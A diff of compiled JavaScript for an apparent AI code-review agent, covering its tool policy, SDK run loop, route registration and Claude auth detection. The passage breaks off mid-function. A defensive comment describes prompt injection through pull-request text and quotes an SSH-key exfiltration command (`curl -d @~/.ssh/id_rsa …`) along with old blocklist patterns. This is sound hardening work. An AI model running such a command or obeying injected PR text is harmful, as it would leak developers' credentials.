83
|
+
ci: {
|
|
84
|
+
readCommitChecks: async (accountId, a) => {
|
|
85
|
+
try {
|
|
86
|
+
return await fetchCommitChecks(await getAccessToken(accountId), { ...a, accountId });
|
|
87
|
+
}
|
|
88
|
+
catch {
|
|
89
|
+
return { ok: false, reason: 'error' };
|
|
90
|
+
}
|
|
91
|
+
},
|
|
92
|
+
// The log's TAIL window (DEFAULT_LOG_WINDOW_BYTES, 128 KiB — one ranged GET), never the
|
|
93
|
+
// whole log.
|
|
94
|
+
readJobLog: async (accountId, a) => {
|
|
95
|
+
try {
|
|
96
|
+
return await fetchActionsJobLog(await getAccessToken(accountId), a.owner, a.name, a.jobId, {}, {
|
|
97
|
+
accountId,
|
|
98
|
+
});
|
|
99
|
+
}
|
|
100
|
+
catch {
|
|
101
|
+
return {
|
|
102
|
+
available: false,
|
|
103
|
+
reason: 'token',
|
|
104
|
+
text: '',
|
|
105
|
+
totalLines: 0,
|
|
106
|
+
returnedLines: 0,
|
|
107
|
+
totalBytes: null,
|
|
108
|
+
startByte: null,
|
|
109
|
+
endByte: null,
|
|
110
|
+
hasMore: false,
|
|
111
|
+
truncated: false,
|
|
112
|
+
};
|
|
113
|
+
}
|
|
114
|
+
},
|
|
115
|
+
readFailedStep: async (accountId, a) => {
|
|
116
|
+
try {
|
|
117
|
+
return await fetchActionsJobFailedStep(await getAccessToken(accountId), { ...a, accountId });
|
|
118
|
+
}
|
|
119
|
+
catch {
|
|
120
|
+
return null;
|
|
121
|
+
}
|
|
122
|
+
},
|
|
123
|
+
},
|
|
124
|
+
registerScheduledJob,
|
|
125
|
+
};
|
|
126
|
+
}
|
|
127
|
+
//# sourceMappingURL=agent-context.js.map
|
|
@@ -0,0 +1,385 @@
|
|
|
1
|
+
import { mkdtempSync, rmSync } from 'node:fs';
|
|
2
|
+
import { tmpdir } from 'node:os';
|
|
3
|
+
import { join } from 'node:path';
|
|
4
|
+
import { claudeExecutableOptions, loadAgentSdk } from '../ai/runtime.js';
|
|
5
|
+
import { config } from '../config.js';
|
|
6
|
+
import { submitReviewShape } from './schema.js';
|
|
7
|
+
import { applyClaudeReviewAuth } from './auth.js';
|
|
8
|
+
import { cleanupCloneCache, prepWorktree, removeWorktreeLocked, } from './clone-manager.js';
|
|
9
|
+
import { sdkModelOptions } from './model-options.js';
|
|
10
|
+
import { estimateCostUsd } from './pricing.js';
|
|
11
|
+
import { mapSubmittedReview } from './submit-map.js';
|
|
12
|
+
import { DISPATCH_TOOL_NAMES, createDispatchGuard, specialistAgents, } from './claude-review/specialists.js';
|
|
13
|
+
import { recordUsage, sumModelUsage, sumUsageMap, } from './usage.js';
|
|
14
|
+
// The security-sensitive HALF of ctx.review.runReview (the plugin owns routing/prompts/
|
|
15
|
+
// persistence; core owns the SDK run). Given a resolved mode + the plugin-built prompts +
|
|
16
|
+
// the stripped diff (for anchoring), it clones/worktrees, runs the Agent SDK with the
|
|
17
|
+
// in-process submit_review MCP tool, applies the auth env policy, streams progress, anchors
|
|
18
|
+
// the findings, and RETURNS the structured result — it never touches the DB or throws for
|
|
19
|
+
// an expected failure (it returns { submitted:false } / { aborted:true } with telemetry).
|
|
20
|
+
// Read-only tool surface for a WORKTREE review. submit_review is the ONLY way structured
|
|
21
|
+
// output leaves the agent.
|
|
22
|
+
//
|
|
23
|
+
// ---- Bash is deliberately ABSENT (this used to include it) ----
|
|
24
|
+
//
|
|
25
|
+
// A code review is the textbook prompt-injection target: every byte the model reads — the PR
|
|
26
|
+
// title, the description, the diff, the review comments — was written by whoever opened the pull
|
|
27
|
+
// request, which on a public repo is anyone. Combine that untrusted instruction channel with
|
|
28
|
+
// `permissionMode: 'bypassPermissions'` (below) and a shell, and the review agent becomes a
|
|
29
|
+
// remote code-execution path on the developer's own machine, with their `gh` token, SSH keys,
|
|
30
|
+
// `~/.aws/credentials` and `.env` files all in reach and `curl` available to post them onwards.
|
|
31
|
+
//
|
|
32
|
+
// The old `DISALLOWED_TOOLS` blocklist (`Bash(rm *)`, `Bash(sudo *)`, …) was never a defence
|
|
33
|
+
// against that. It stops a handful of literal command prefixes; it does nothing about
|
|
34
|
+
// `curl -d @~/.ssh/id_rsa https://…`, `python -c …`, or any of the thousand equivalent spellings.
|
|
35
|
+
// A blocklist cannot enumerate the badness of a shell.
|
|
36
|
+
//
|
|
37
|
+
// What Bash bought was `git log` / `git show` for extra context, and the prompt already told the
|
|
38
|
+
// agent to "prefer the dedicated Read/Glob/Grep tools over shelling out" — so this trades a
|
|
39
|
+
// modest amount of optional context for closing arbitrary command execution driven by a stranger's
|
|
40
|
+
// pull-request text. Read/Glob/Grep remain, which is what actually reviews code.
|
|
41
|
+
//
|
|
42
|
+
// If shell access is ever genuinely needed here, the way back is a container/VM boundary or an
|
|
43
|
+
// explicit `canUseTool` allowlist under a non-bypass permission mode — NOT re-adding 'Bash' with
|
|
44
|
+
// a longer blocklist.
|
|
45
|
+
const WORKTREE_TOOLS = ['Read', 'Glob', 'Grep', 'mcp__review__submit_review'];
|
|
46
|
+
// A deep (worktree) review also gets the sub-agent dispatch tool, so the lead can consult its
|
|
47
|
+
// specialists (claude-review/specialists.ts). Each specialist is itself Read/Glob/Grep only, and
|
|
48
|
+
// every dispatch passes the PreToolUse guard below: catalogue names only, at most
|
|
49
|
+
// CLAUDE_REVIEW_MAX_SPECIALISTS per review, foreground, the lead's model.
|
|
50
|
+
// A DIFF-ONLY review is tool-less: the agent has the full diff in its prompt and no
|
|
51
|
+
// repository to explore, so submit_review is the only tool it gets.
|
|
52
|
+
const DIFF_ONLY_TOOLS = ['mcp__review__submit_review'];
|
|
53
|
+
// Per-model effort + thinking options live in ./model-options.ts (ONE table, shared with
|
|
54
|
+
// coding/agent.ts). ⚠ Opus 5.5 400s on disabled thinking, a thinking budget and a forced
|
|
55
|
+
// tool_choice — none of which this run sends.
|
|
56
|
+
// Deny list. `Bash` is denied OUTRIGHT rather than by command pattern — see WORKTREE_TOOLS
|
|
57
|
+
// above for why a per-command blocklist is not a security boundary when the model's input is
|
|
58
|
+
// attacker-authored. Belt and braces: Bash is also absent from the allow list, so this is the
|
|
59
|
+
// second of two independent reasons it cannot run.
|
|
60
|
+
export const DISALLOWED_TOOLS = [
|
|
61
|
+
'Write',
|
|
62
|
+
'Edit',
|
|
63
|
+
'MultiEdit',
|
|
64
|
+
'NotebookEdit',
|
|
65
|
+
'Bash',
|
|
66
|
+
'WebFetch',
|
|
67
|
+
'WebSearch',
|
|
68
|
+
];
|
|
69
|
+
/**
|
|
70
|
+
* The tool policy for one run. Pure, so the "specialists only on the deep route" rule is testable
|
|
71
|
+
* without the SDK. A diff-only run, or a worktree run offered no specialists, gets the dispatch tool
|
|
72
|
+
* DENIED outright — otherwise the SDK's built-in agent types (which inherit every tool) would be
|
|
73
|
+
* one call away.
|
|
74
|
+
*/
|
|
75
|
+
export function reviewToolPolicy(mode, offered) {
|
|
76
|
+
const specialists = mode === 'worktree' ? [...(offered ?? [])] : [];
|
|
77
|
+
if (specialists.length > 0) {
|
|
78
|
+
return {
|
|
79
|
+
allowedTools: [...WORKTREE_TOOLS, ...DISPATCH_TOOL_NAMES],
|
|
80
|
+
disallowedTools: [...DISALLOWED_TOOLS],
|
|
81
|
+
specialists,
|
|
82
|
+
};
|
|
83
|
+
}
|
|
84
|
+
return {
|
|
85
|
+
allowedTools: mode === 'worktree' ? [...WORKTREE_TOOLS] : [...DIFF_ONLY_TOOLS],
|
|
86
|
+
disallowedTools: [...DISALLOWED_TOOLS, ...DISPATCH_TOOL_NAMES],
|
|
87
|
+
specialists,
|
|
88
|
+
};
|
|
89
|
+
}
|
|
90
|
+
// How many recent-activity lines to keep in the live progress ring buffer.
|
|
91
|
+
const ACTIVITY_LOG_CAP = 25;
|
|
92
|
+
export async function runReview(args) {
|
|
93
|
+
const { model, mode, onProgress, abortController } = args;
|
|
94
|
+
let worktreePath = null;
|
|
95
|
+
let repoCloneDir = null;
|
|
96
|
+
let tempCwd = null;
|
|
97
|
+
let result = null;
|
|
98
|
+
let restoreEnv = null;
|
|
99
|
+
// Per-message usage keyed by message UUID (latest-wins): the SDK re-emits a message per
|
|
100
|
+
// turn, so a naive SUM double-counts (~2×). The PERSISTED totals prefer the result
|
|
101
|
+
// message's authoritative `modelUsage` (see telemetry()).
|
|
102
|
+
const usageByUuid = new Map();
|
|
103
|
+
const telemetry = () => {
|
|
104
|
+
const usage = sumModelUsage(result) ?? sumUsageMap(usageByUuid);
|
|
105
|
+
const hasUsage = usage.inputTokens + usage.outputTokens + usage.cacheReadTokens > 0;
|
|
106
|
+
return {
|
|
107
|
+
costUsd: result?.total_cost_usd ?? (hasUsage ? estimateCostUsd(model, usage) : null),
|
|
108
|
+
inputTokens: usage.inputTokens,
|
|
109
|
+
outputTokens: usage.outputTokens,
|
|
110
|
+
cacheReadTokens: usage.cacheReadTokens,
|
|
111
|
+
cacheCreationTokens: usage.cacheCreationTokens,
|
|
112
|
+
numTurns: result?.num_turns ?? null,
|
|
113
|
+
};
|
|
114
|
+
};
|
|
115
|
+
const fail = (failureReason, aborted) => ({
|
|
116
|
+
submitted: false,
|
|
117
|
+
failureReason,
|
|
118
|
+
scope: null,
|
|
119
|
+
summary: '',
|
|
120
|
+
verdict: 'COMMENT',
|
|
121
|
+
findings: [],
|
|
122
|
+
...telemetry(),
|
|
123
|
+
aborted,
|
|
124
|
+
});
|
|
125
|
+
try {
|
|
126
|
+
// Working directory + tool surface per mode. A worktree review clones + checks out the
|
|
127
|
+
// head and gets the read-only file tools; a diff-only review is TOOL-LESS with a
|
|
128
|
+
// throwaway cwd and NO clone (the dominant per-run cost) — the whole change is in its prompt.
|
|
129
|
+
let cwd;
|
|
130
|
+
let maxTurns;
|
|
131
|
+
const policy = reviewToolPolicy(mode, args.specialists);
|
|
132
|
+
if (mode === 'worktree') {
|
|
133
|
+
onProgress({ phase: 'cloning', reviewMode: mode });
|
|
134
|
+
({ repoCloneDir, worktreePath } = await prepWorktree(args.owner, args.name, args.prNumber, args.headSha));
|
|
135
|
+
cwd = worktreePath;
|
|
136
|
+
maxTurns = config.reviewMaxTurns;
|
|
137
|
+
}
|
|
138
|
+
else {
|
|
139
|
+
tempCwd = mkdtempSync(join(tmpdir(), 'pierre-review-'));
|
|
140
|
+
cwd = tempCwd;
|
|
141
|
+
maxTurns = config.reviewDiffOnlyMaxTurns;
|
|
142
|
+
}
|
|
143
|
+
// Effort guides thinking depth + token spend — the dominant cost knob. Per-mode, and only
|
|
144
|
+
// for models that accept it (Haiku rejects `effort`; it runs unset). Opus 5.5 also gets an
|
|
145
|
+
// explicit adaptive-thinking config (see model-options.ts).
|
|
146
|
+
const modelOptions = sdkModelOptions(model, mode);
|
|
147
|
+
// Establish this run's auth (prefer ambient, strip an explicit key). The plugin decides
|
|
148
|
+
// whether it's safe to mutate process.env (its concurrency === 1); restored in finally.
|
|
149
|
+
restoreEnv = applyClaudeReviewAuth(args.applyAuthEnv);
|
|
150
|
+
// ---- run the agent ----
|
|
151
|
+
// The SDK and zod come from the AI runtime (ai/runtime.ts) — downloaded on first use for an
|
|
152
|
+
// npm install. A missing runtime throws here and lands in the catch as a readable failure.
|
|
153
|
+
const { createSdkMcpServer, query, tool } = await loadAgentSdk();
|
|
154
|
+
const reviewShape = await submitReviewShape();
|
|
155
|
+
let captured = null;
|
|
156
|
+
const server = createSdkMcpServer({
|
|
157
|
+
name: 'review',
|
|
158
|
+
version: '1.0.0',
|
|
159
|
+
tools: [
|
|
160
|
+
tool('submit_review', 'Submit your structured review. Call this EXACTLY once, at the end.', reviewShape, async (a) => {
|
|
161
|
+
captured = a;
|
|
162
|
+
return { content: [{ type: 'text', text: 'Review recorded.' }] };
|
|
163
|
+
}),
|
|
164
|
+
],
|
|
165
|
+
});
|
|
166
|
+
// Deep review: the specialist catalogue + the dispatch guard (a fresh count per run).
|
|
167
|
+
const guard = policy.specialists.length > 0 ? createDispatchGuard(policy.specialists) : null;
|
|
168
|
+
const q = query({
|
|
169
|
+
prompt: args.prompt,
|
|
170
|
+
options: {
|
|
171
|
+
model,
|
|
172
|
+
...modelOptions,
|
|
173
|
+
systemPrompt: args.systemPrompt,
|
|
174
|
+
cwd,
|
|
175
|
+
permissionMode: 'bypassPermissions',
|
|
176
|
+
allowedTools: policy.allowedTools,
|
|
177
|
+
disallowedTools: policy.disallowedTools,
|
|
178
|
+
maxTurns,
|
|
179
|
+
...(guard
|
|
180
|
+
? {
|
|
181
|
+
agents: specialistAgents(policy.specialists),
|
|
182
|
+
// ⚠ THE CAP LIVES HERE, not in the prompt: a PreToolUse hook runs before the tool,
|
|
183
|
+
// and its deny holds under bypassPermissions (canUseTool would never be asked).
|
|
184
|
+
hooks: {
|
|
185
|
+
PreToolUse: [
|
|
186
|
+
{
|
|
187
|
+
hooks: [
|
|
188
|
+
async (input) => input.hook_event_name === 'PreToolUse'
|
|
189
|
+
? guard.decide(input.tool_name, input.tool_input)
|
|
190
|
+
: { continue: true },
|
|
191
|
+
],
|
|
192
|
+
},
|
|
193
|
+
],
|
|
194
|
+
},
|
|
195
|
+
}
|
|
196
|
+
: {}),
|
|
197
|
+
// User-set per-review cap (local settings) when present, else the operator default —
|
|
198
|
+
// plus headroom for each specialist a deep run is offered (they share this one budget).
|
|
199
|
+
maxBudgetUsd: config.reviewBudgetUsd,
|
|
200
|
+
// Don't inherit the host's .claude settings / CLAUDE.md / skills.
|
|
201
|
+
settingSources: [],
|
|
202
|
+
mcpServers: { review: server },
|
|
203
|
+
abortController,
|
|
204
|
+
// LIMN_CLAUDE_PATH → the user's own `claude` instead of the SDK's bundled binary.
|
|
205
|
+
...claudeExecutableOptions(),
|
|
206
|
+
},
|
|
207
|
+
});
|
|
208
|
+
// Rolling, newest-last log of what the agent is doing right now, surfaced via onProgress.
|
|
209
|
+
const activity = [];
|
|
210
|
+
// Dispatch tool_use id → specialist name, so a specialist's own steps are labelled as its.
|
|
211
|
+
const specialistByToolUse = new Map();
|
|
212
|
+
const pushActivity = (line) => {
|
|
213
|
+
const trimmed = line.trim();
|
|
214
|
+
if (!trimmed)
|
|
215
|
+
return;
|
|
216
|
+
activity.push(trimmed);
|
|
217
|
+
if (activity.length > ACTIVITY_LOG_CAP)
|
|
218
|
+
activity.shift();
|
|
219
|
+
};
|
|
220
|
+
// Flip to 'reviewing' the moment setup is done — BEFORE the first model token — so the
|
|
221
|
+
// prior phase doesn't linger through the agent's whole first turn.
|
|
222
|
+
onProgress({ phase: 'reviewing', reviewMode: mode });
|
|
223
|
+
for await (const message of q) {
|
|
224
|
+
if (message.type === 'assistant') {
|
|
225
|
+
try {
|
|
226
|
+
recordUsage(usageByUuid, message);
|
|
227
|
+
}
|
|
228
|
+
catch {
|
|
229
|
+
/* usage shape varies — never let it break the run */
|
|
230
|
+
}
|
|
231
|
+
try {
|
|
232
|
+
for (const line of describeAssistantBlocks(message, specialistByToolUse))
|
|
233
|
+
pushActivity(line);
|
|
234
|
+
}
|
|
235
|
+
catch {
|
|
236
|
+
/* never let progress derivation break the run */
|
|
237
|
+
}
|
|
238
|
+
const live = sumUsageMap(usageByUuid);
|
|
239
|
+
onProgress({
|
|
240
|
+
phase: 'reviewing',
|
|
241
|
+
recentActivity: [...activity],
|
|
242
|
+
reviewMode: mode,
|
|
243
|
+
usage: { ...live, estCostUsd: estimateCostUsd(model, live) },
|
|
244
|
+
});
|
|
245
|
+
}
|
|
246
|
+
else if (message.type === 'result') {
|
|
247
|
+
result = message;
|
|
248
|
+
}
|
|
249
|
+
}
|
|
250
|
+
if (!captured) {
|
|
251
|
+
const reason = result && result.subtype !== 'success'
|
|
252
|
+
? `agent stopped (${result.subtype}) without submitting a review`
|
|
253
|
+
: 'agent finished without calling submit_review';
|
|
254
|
+
return fail(reason, false);
|
|
255
|
+
}
|
|
256
|
+
// ---- anchor (+ carry priorRef / followUp / ticket through verbatim) ----
|
|
257
|
+
const payload = captured;
|
|
258
|
+
const mapped = mapSubmittedReview(payload, args.strippedDiff);
|
|
259
|
+
return {
|
|
260
|
+
submitted: true,
|
|
261
|
+
...mapped,
|
|
262
|
+
...telemetry(),
|
|
263
|
+
aborted: false,
|
|
264
|
+
};
|
|
265
|
+
}
|
|
266
|
+
catch (err) {
|
|
267
|
+
// A user cancel aborts the SDK iterator, surfacing as an error here.
|
|
268
|
+
if (abortController.signal.aborted)
|
|
269
|
+
return fail(undefined, true);
|
|
270
|
+
return fail(errorMessage(err), false);
|
|
271
|
+
}
|
|
272
|
+
finally {
|
|
273
|
+
restoreEnv?.();
|
|
274
|
+
if (repoCloneDir && worktreePath) {
|
|
275
|
+
await removeWorktreeLocked(args.owner, args.name, repoCloneDir, worktreePath).catch(() => { });
|
|
276
|
+
}
|
|
277
|
+
// Diff-only runs use a throwaway cwd — remove it (best-effort).
|
|
278
|
+
if (tempCwd) {
|
|
279
|
+
try {
|
|
280
|
+
rmSync(tempCwd, { recursive: true, force: true });
|
|
281
|
+
}
|
|
282
|
+
catch {
|
|
283
|
+
/* advisory cleanup — never surface */
|
|
284
|
+
}
|
|
285
|
+
}
|
|
286
|
+
// Only a worktree run touched the clone cache. Defer LRU eviction (fire-and-forget) so
|
|
287
|
+
// the review result returns promptly; cleanupCloneCache is best-effort and never throws.
|
|
288
|
+
if (repoCloneDir) {
|
|
289
|
+
setImmediate(() => {
|
|
290
|
+
try {
|
|
291
|
+
cleanupCloneCache();
|
|
292
|
+
}
|
|
293
|
+
catch {
|
|
294
|
+
/* advisory cleanup — never surface */
|
|
295
|
+
}
|
|
296
|
+
});
|
|
297
|
+
}
|
|
298
|
+
}
|
|
299
|
+
}
|
|
300
|
+
function errorMessage(err) {
|
|
301
|
+
if (err instanceof Error)
|
|
302
|
+
return err.message;
|
|
303
|
+
return String(err);
|
|
304
|
+
}
|
|
305
|
+
const TEXT_SNIPPET_CAP = 120;
|
|
306
|
+
const BASH_CMD_CAP = 80;
|
|
307
|
+
/**
|
|
308
|
+
* Turn one assistant message into a few short, human-readable progress lines: a label per
|
|
309
|
+
* tool_use block plus a clipped snippet of any assistant text. Defensive throughout — the
|
|
310
|
+
* SDK content/tool-input shapes vary, so every access is guarded and this never throws.
|
|
311
|
+
*/
|
|
312
|
+
export function describeAssistantBlocks(message, specialistByToolUse = new Map()) {
|
|
313
|
+
const lines = [];
|
|
314
|
+
const m = message;
|
|
315
|
+
const content = m?.message?.content;
|
|
316
|
+
if (!Array.isArray(content))
|
|
317
|
+
return lines;
|
|
318
|
+
// A message from inside a specialist carries the dispatch's tool_use id.
|
|
319
|
+
const parent = typeof m.parent_tool_use_id === 'string' ? m.parent_tool_use_id : null;
|
|
320
|
+
const owner = parent ? specialistByToolUse.get(parent) : undefined;
|
|
321
|
+
const prefix = owner ? `${owner}: ` : '';
|
|
322
|
+
for (const raw of content) {
|
|
323
|
+
if (!raw || typeof raw !== 'object')
|
|
324
|
+
continue;
|
|
325
|
+
const block = raw;
|
|
326
|
+
if (block.type === 'tool_use') {
|
|
327
|
+
const name = typeof block.name === 'string' ? block.name : 'Tool';
|
|
328
|
+
const input = block.input && typeof block.input === 'object'
|
|
329
|
+
? block.input
|
|
330
|
+
: {};
|
|
331
|
+
if (DISPATCH_TOOL_NAMES.includes(name) && typeof block.id === 'string') {
|
|
332
|
+
const type = typeof input.subagent_type === 'string' ? input.subagent_type : 'specialist';
|
|
333
|
+
specialistByToolUse.set(block.id, type);
|
|
334
|
+
}
|
|
335
|
+
lines.push(prefix + labelToolUse(name, input));
|
|
336
|
+
}
|
|
337
|
+
else if (block.type === 'text' && typeof block.text === 'string') {
|
|
338
|
+
const snippet = clip(block.text.replace(/\s+/g, ' ').trim(), TEXT_SNIPPET_CAP);
|
|
339
|
+
if (snippet)
|
|
340
|
+
lines.push(prefix + snippet);
|
|
341
|
+
}
|
|
342
|
+
}
|
|
343
|
+
return lines;
|
|
344
|
+
}
|
|
345
|
+
/** Build a short label for a tool call from its name + a truncated first arg. */
|
|
346
|
+
function labelToolUse(name, input) {
|
|
347
|
+
const str = (v) => typeof v === 'string' && v.trim().length > 0 ? v.trim() : null;
|
|
348
|
+
switch (name) {
|
|
349
|
+
case 'Read': {
|
|
350
|
+
const p = str(input.file_path) ?? str(input.path);
|
|
351
|
+
return p ? `Read ${p}` : 'Read …';
|
|
352
|
+
}
|
|
353
|
+
case 'Glob': {
|
|
354
|
+
const p = str(input.pattern);
|
|
355
|
+
return p ? `Glob ${p}` : 'Glob …';
|
|
356
|
+
}
|
|
357
|
+
case 'Grep': {
|
|
358
|
+
const p = str(input.pattern);
|
|
359
|
+
return p ? `Grep "${clip(p, BASH_CMD_CAP)}"` : 'Grep …';
|
|
360
|
+
}
|
|
361
|
+
case 'Bash': {
|
|
362
|
+
const c = str(input.command);
|
|
363
|
+
return c ? `Bash ${clip(c, BASH_CMD_CAP)}` : 'Bash …';
|
|
364
|
+
}
|
|
365
|
+
case 'mcp__review__submit_review':
|
|
366
|
+
return 'Submitting review…';
|
|
367
|
+
case 'Agent':
|
|
368
|
+
case 'Task': {
|
|
369
|
+
const t = str(input.subagent_type);
|
|
370
|
+
return t ? `Asking the ${t} specialist` : 'Asking a specialist';
|
|
371
|
+
}
|
|
372
|
+
default: {
|
|
373
|
+
for (const key of Object.keys(input)) {
|
|
374
|
+
const v = str(input[key]);
|
|
375
|
+
if (v)
|
|
376
|
+
return `${name} ${clip(v, BASH_CMD_CAP)}`;
|
|
377
|
+
}
|
|
378
|
+
return `${name} …`;
|
|
379
|
+
}
|
|
380
|
+
}
|
|
381
|
+
}
|
|
382
|
+
function clip(s, max) {
|
|
383
|
+
return s.length > max ? `${s.slice(0, max)}…` : s;
|
|
384
|
+
}
|
|
385
|
+
//# sourceMappingURL=agent.js.map
|
|
@@ -0,0 +1,59 @@
|
|
|
1
|
+
import { config } from '../config.js';
|
|
2
|
+
import { buildAgentContext } from './agent-context.js';
|
|
3
|
+
import { registerClaudeReviewRoutes } from './claude-review/routes.js';
|
|
4
|
+
import { registerClaudeReviewChatRoutes } from './claude-review/chat.js';
|
|
5
|
+
import { registerAutoReviewSettingsRoutes } from './claude-review/auto-settings.js';
|
|
6
|
+
import { registerAutoReview } from './claude-review/auto.js';
|
|
7
|
+
import { reconcileReviewsOnStartup } from './claude-review/manager.js';
|
|
8
|
+
import { registerAiFixRoutes } from '../coding/ai-fix/routes.js';
|
|
9
|
+
import { reconcileFixesOnStartup } from '../coding/ai-fix/manager.js';
|
|
10
|
+
// THE AGENTIC FEATURES' ONE REGISTRATION POINT — Claude Review (run, follow-up, ticket check, the
|
|
11
|
+
// chat, auto review) and AI Fix's fixer. CORE and FREE since apiVersion 22 (they
|
|
12
|
+
// were the plugin's "pro+" tier); they run on the user's OWN Claude Code session or
|
|
13
|
+
// ANTHROPIC_API_KEY (review/auth.ts), and Limn stores no key and charges nothing for them.
|
|
14
|
+
//
|
|
15
|
+
// ⚠ THE CLOUD GUARANTEE IS THIS `isCloud` CHECK, EXPLICITLY. It used to rest on an env var being
|
|
16
|
+
// unset (the plugin's PRO_ADVANCED_AI_ENABLED), so one Railway variable stood between a paid cloud
|
|
17
|
+
// account and routes with no SDK and no credential behind them. Now nothing agentic registers in
|
|
18
|
+
// cloud — the routes 404 — and the auth plugin's `isProPath` 402 (which still lists the Claude
|
|
19
|
+
// Review URLs and covers the `/api/pro/` AI Fix paths) is a SECOND guard, not the first.
|
|
20
|
+
// `config.aiEnabled` is also false in cloud; it is checked separately so the two never collapse
|
|
21
|
+
// into one flag again. LIMN_AI_DISABLED=true (the kill switch) turns `aiEnabled` off locally.
|
|
22
|
+
/** Is any agentic surface allowed in this process? */
|
|
23
|
+
export function agenticAllowed() {
|
|
24
|
+
if (config.isCloud)
|
|
25
|
+
return false;
|
|
26
|
+
return config.aiEnabled;
|
|
27
|
+
}
|
|
28
|
+
/** Register every agentic ROUTE. Called from buildApp; a no-op in cloud or under the kill switch. */
|
|
29
|
+
export function registerAgenticRoutes(app) {
|
|
30
|
+
if (!agenticAllowed())
|
|
31
|
+
return null;
|
|
32
|
+
const ctx = buildAgentContext(app.log);
|
|
33
|
+
registerClaudeReviewRoutes(app, ctx);
|
|
34
|
+
registerClaudeReviewChatRoutes(app, ctx);
|
|
35
|
+
registerAutoReviewSettingsRoutes(app, ctx);
|
|
36
|
+
registerAiFixRoutes(app, ctx);
|
|
37
|
+
return ctx;
|
|
38
|
+
}
|
|
39
|
+
let backgroundStarted = false;
|
|
40
|
+
/**
|
|
41
|
+
* The PROCESS-level half, run once at boot (index.ts) after the app is built: the auto-review
|
|
42
|
+
* sweeper on the host scheduler and the crash-orphan reconciles (a run that was `running` when the process died is marked failed).
|
|
43
|
+
* Separate from the routes so a test that builds the app twice does not schedule twice.
|
|
44
|
+
*/
|
|
45
|
+
export async function startAgenticBackground(app) {
|
|
46
|
+
if (!agenticAllowed() || backgroundStarted)
|
|
47
|
+
return;
|
|
48
|
+
backgroundStarted = true;
|
|
49
|
+
const ctx = buildAgentContext(app.log);
|
|
50
|
+
registerAutoReview(ctx);
|
|
51
|
+
try {
|
|
52
|
+
await reconcileReviewsOnStartup(ctx);
|
|
53
|
+
}
|
|
54
|
+
catch (err) {
|
|
55
|
+
app.log.warn({ err }, 'claude review: startup reconcile failed');
|
|
56
|
+
}
|
|
57
|
+
await reconcileFixesOnStartup(ctx);
|
|
58
|
+
}
|
|
59
|
+
//# sourceMappingURL=agentic.js.map
|
|
@@ -0,0 +1,94 @@
|
|
|
1
|
+
import { existsSync } from 'node:fs';
|
|
2
|
+
import { homedir } from 'node:os';
|
|
3
|
+
import { join } from 'node:path';
|
|
4
|
+
// Is an ambient Claude SUBSCRIPTION available (OAuth token or a logged-in Claude
|
|
5
|
+
// Code session on disk)? Deliberately excludes API keys — this answers "can Claude
|
|
6
|
+
// Review run on the subscription (no per-token billing)?", which drives the
|
|
7
|
+
// prefer-ambient policy below.
|
|
8
|
+
export function hasAmbientClaudeAuth() {
|
|
9
|
+
if (process.env.CLAUDE_CODE_OAUTH_TOKEN)
|
|
10
|
+
return true;
|
|
11
|
+
const home = homedir();
|
|
12
|
+
const ambientCandidates = [
|
|
13
|
+
join(home, '.claude', '.credentials.json'),
|
|
14
|
+
join(home, '.config', 'claude', '.credentials.json'),
|
|
15
|
+
join(home, '.claude.json'),
|
|
16
|
+
join(home, '.claude'),
|
|
17
|
+
];
|
|
18
|
+
return ambientCandidates.some((path) => existsSync(path));
|
|
19
|
+
}
|
|
20
|
+
export const NO_CLAUDE_AUTH_MESSAGE = 'Sign in to Claude Code or set ANTHROPIC_API_KEY';
|
|
21
|
+
export function detectClaudeAuth() {
|
|
22
|
+
// Claude Review PREFERS the ambient subscription (see applyClaudeReviewAuth), so
|
|
23
|
+
// report it first when present — even if an API key also exists.
|
|
24
|
+
if (process.env.CLAUDE_CODE_OAUTH_TOKEN) {
|
|
25
|
+
return { status: 'ok', method: 'oauth_token' };
|
|
26
|
+
}
|
|
27
|
+
if (hasAmbientClaudeAuth()) {
|
|
28
|
+
return { status: 'ok', method: 'ambient' };
|
|
29
|
+
}
|
|
30
|
+
// No ambient → the environment's API key, and nothing else. ⚠ THE STORED BYO KEY RUNG IS
|
|
31
|
+
// GONE: `~/.pierre-review/config.json`'s `anthropicApiKey` is retired and never read, so
|
|
32
|
+
// this detector must report from the env var ALONE — reporting `ok` off a value no run can
|
|
33
|
+
// use would be a green pre-flight in front of a guaranteed auth failure.
|
|
34
|
+
if (process.env.ANTHROPIC_API_KEY) {
|
|
35
|
+
return { status: 'ok', method: 'api_key' };
|
|
36
|
+
}
|
|
37
|
+
// ⚠ THIS SENTENCE IS RENDERED IN THE SPA, NOT JUST LOGGED — it is the ONE line that replaces
|
|
38
|
+
// every Run button when no credential is found (`MeResponse.ai.authMessage` and the routes'
|
|
39
|
+
// `authMessage`). Plain and short, and it promises no plan or billing: Limn stores no key and
|
|
40
|
+
// charges nothing; the run uses the user's own Claude Code sign-in or API key.
|
|
41
|
+
return {
|
|
42
|
+
status: 'none',
|
|
43
|
+
message: NO_CLAUDE_AUTH_MESSAGE,
|
|
44
|
+
};
|
|
45
|
+
}
|
|
46
|
+
/**
|
|
47
|
+
* Establish the auth for ONE Claude Review run by mutating process.env, returning a
|
|
48
|
+
* restore fn (always call it in a finally). Policy — Claude Review prefers the
|
|
49
|
+
* ambient subscription so the user's plan/usage credits cover it.
|
|
50
|
+
*
|
|
51
|
+
* ⚠ THE LADDER IS TWO RUNGS, NOT THREE. The middle rung — a BYO Anthropic key stored in
|
|
52
|
+
* `~/.pierre-review/config.json` — is RETIRED, along with its form and its routes:
|
|
53
|
+
*
|
|
54
|
+
* • ambient available → STRIP any ANTHROPIC_API_KEY for the run so the Agent SDK
|
|
55
|
+
* authenticates via the subscription/OAuth (an API key would otherwise win and
|
|
56
|
+
* silently meter the run). UNCHANGED, and load-bearing: this is what makes a
|
|
57
|
+
* subscription pay instead of a meter.
|
|
58
|
+
* • no ambient → leave the environment EXACTLY as it is, so an operator-set
|
|
59
|
+
* ANTHROPIC_API_KEY is used by the SDK. Nothing is written into process.env on this
|
|
60
|
+
* path any more, which is why it returns a no-op restore.
|
|
61
|
+
*
|
|
62
|
+
* process.env is process-global, so the caller passes `mutate` — the plugin sets it
|
|
63
|
+
* true ONLY when its review concurrency is 1 (the env-race guard); false → no-op and the
|
|
64
|
+
* raw ambient env is used. The Pro summary is unaffected either way — it passes its own
|
|
65
|
+
* key explicitly to the llm seam and never reads this env.
|
|
66
|
+
*/
|
|
67
|
+
export function applyClaudeReviewAuth(mutate) {
|
|
68
|
+
if (!mutate)
|
|
69
|
+
return () => { };
|
|
70
|
+
const prevApiKey = process.env.ANTHROPIC_API_KEY;
|
|
71
|
+
